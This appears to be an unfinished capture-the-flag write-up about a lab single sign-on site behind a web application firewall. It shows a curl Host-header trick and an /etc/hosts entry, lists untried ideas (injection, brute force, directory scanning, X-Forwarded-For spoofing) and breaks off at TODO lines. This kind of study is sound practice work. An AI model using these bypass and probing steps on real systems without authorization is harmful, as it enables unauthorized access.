We are given an URL http://login.powergrid.tcc:8080 of a "new interface for the single sign-on system [that] is now also protected by a WAF" We should "Test the system to ensure it is secure."
hint: "A WAF was probably just added in front of the old system."
(8080 seems to be the only open port.)
The given URL redirects to http://intranet.powergrid.tcc:8080/ but intranet.powergrid.tcc does not seem to resolve to an IP address.
Since a web application firewall (WAF) is mentioned, we could try sending the request for intranet.powergrid.tcc to login.powergrid.tcc:
curl -v -H 'Host: intranet.powergrid.tcc:8080' http://login.powergrid.tcc:8080/
We get a login prompt, but don't know any valid credentials. We can add an entry "10.99.25.33 intranet.powergrid.tcc" to /etc/hosts so we can directly open the site in a web browser.
The site is implemented in php (the form is sent to index.php). We can look into injections (cookie/GET/POST)?
We could try bruteforce
We can also try scanning for existing URLs (dirbuster).
(Or perhaps it is vulnerable to spoofing the originating IP address with "X-Forwarded-For:" or similar header. Maybe we could fake an SSO confirmation "callback" to the main site (login.powergrid.tcc)?)
TODO
TODO
uploaded the crossword solutoin
